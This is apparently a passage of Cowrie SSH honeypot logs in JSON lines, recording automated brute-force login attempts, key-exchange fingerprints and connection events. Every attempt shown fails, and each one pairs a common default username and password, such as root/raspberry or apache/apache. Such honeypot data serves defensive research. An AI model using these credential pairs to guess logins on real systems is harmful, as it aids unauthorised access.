0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:39.880703Z","src_ip":"176.65.139.103","session":"b91e8b3c95a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:40.203316Z","src_ip":"176.65.139.103","session":"b91e8b3c95a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:41.300432Z","src_ip":"176.65.139.103","session":"b91e8b3c95a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38978,"dst_ip":"10.17.0.5","dst_port":22,"session":"4235bf423d74","protocol":"ssh","message":"New connection: 176.65.139.103:38978 (10.17.0.5:22) [session: 4235bf423d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:46.621685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:46.626065Z","src_ip":"176.65.139.103","session":"4235bf423d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:46.707719Z","src_ip":"176.65.139.103","session":"4235bf423d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:47.035935Z","src_ip":"176.65.139.103","session":"4235bf423d74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:48.142750Z","src_ip":"176.65.139.103","session":"4235bf423d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39008,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc4c6ada5d67","protocol":"ssh","message":"New connection: 176.65.139.103:39008 (10.17.0.5:22) [session: cc4c6ada5d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:53.266786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:53.271729Z","src_ip":"176.65.139.103","session":"cc4c6ada5d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:53.354030Z","src_ip":"176.65.139.103","session":"cc4c6ada5d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:53.601517Z","src_ip":"176.65.139.103","session":"cc4c6ada5d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:21:54.688309Z","src_ip":"176.65.139.103","session":"cc4c6ada5d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39020,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c54b831aa74","protocol":"ssh","message":"New connection: 176.65.139.103:39020 (10.17.0.5:22) [session: 5c54b831aa74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:00.103260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:00.109956Z","src_ip":"176.65.139.103","session":"5c54b831aa74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:00.202051Z","src_ip":"176.65.139.103","session":"5c54b831aa74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:00.539474Z","src_ip":"176.65.139.103","session":"5c54b831aa74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:01.727285Z","src_ip":"176.65.139.103","session":"5c54b831aa74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":21392,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4111eca7764","protocol":"ssh","message":"New connection: 194.59.206.2:21392 (159.203.135.109:22) [session: c4111eca7764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:03.967232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:03.973488Z","src_ip":"194.59.206.2","session":"c4111eca7764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:04.073372Z","src_ip":"194.59.206.2","session":"c4111eca7764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:04.168694Z","src_ip":"194.59.206.2","session":"c4111eca7764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55342,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff47a1da8f62","protocol":"ssh","message":"New connection: 176.65.139.103:55342 (10.17.0.5:22) [session: ff47a1da8f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:07.163238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:07.328983Z","src_ip":"176.65.139.103","session":"ff47a1da8f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:07.417353Z","src_ip":"176.65.139.103","session":"ff47a1da8f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:07.666877Z","src_ip":"176.65.139.103","session":"ff47a1da8f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:08.891332Z","src_ip":"176.65.139.103","session":"ff47a1da8f62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33254,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa5fa833717d","protocol":"ssh","message":"New connection: 159.203.92.129:33254 (159.203.135.109:22) [session: aa5fa833717d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:11.900406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:11.906214Z","src_ip":"159.203.92.129","session":"aa5fa833717d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:11.911178Z","src_ip":"159.203.92.129","session":"aa5fa833717d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1q2w3e","message":"login attempt [ansible/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:11.925511Z","src_ip":"159.203.92.129","session":"aa5fa833717d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:12.935472Z","src_ip":"159.203.92.129","session":"aa5fa833717d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52580,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a98a0eb281","protocol":"ssh","message":"New connection: 176.65.139.103:52580 (10.17.0.5:22) [session: d1a98a0eb281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:13.558357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:13.562768Z","src_ip":"176.65.139.103","session":"d1a98a0eb281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:13.773538Z","src_ip":"176.65.139.103","session":"d1a98a0eb281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:14.220395Z","src_ip":"176.65.139.103","session":"d1a98a0eb281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:15.329358Z","src_ip":"176.65.139.103","session":"d1a98a0eb281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52604,"dst_ip":"10.17.0.5","dst_port":22,"session":"707baacb6c39","protocol":"ssh","message":"New connection: 176.65.139.103:52604 (10.17.0.5:22) [session: 707baacb6c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:19.960537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:19.965657Z","src_ip":"176.65.139.103","session":"707baacb6c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:20.044520Z","src_ip":"176.65.139.103","session":"707baacb6c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:20.380316Z","src_ip":"176.65.139.103","session":"707baacb6c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:21.537736Z","src_ip":"176.65.139.103","session":"707baacb6c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35392,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bcec7e5effc","protocol":"ssh","message":"New connection: 176.65.139.103:35392 (10.17.0.5:22) [session: 0bcec7e5effc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:26.353056Z"}
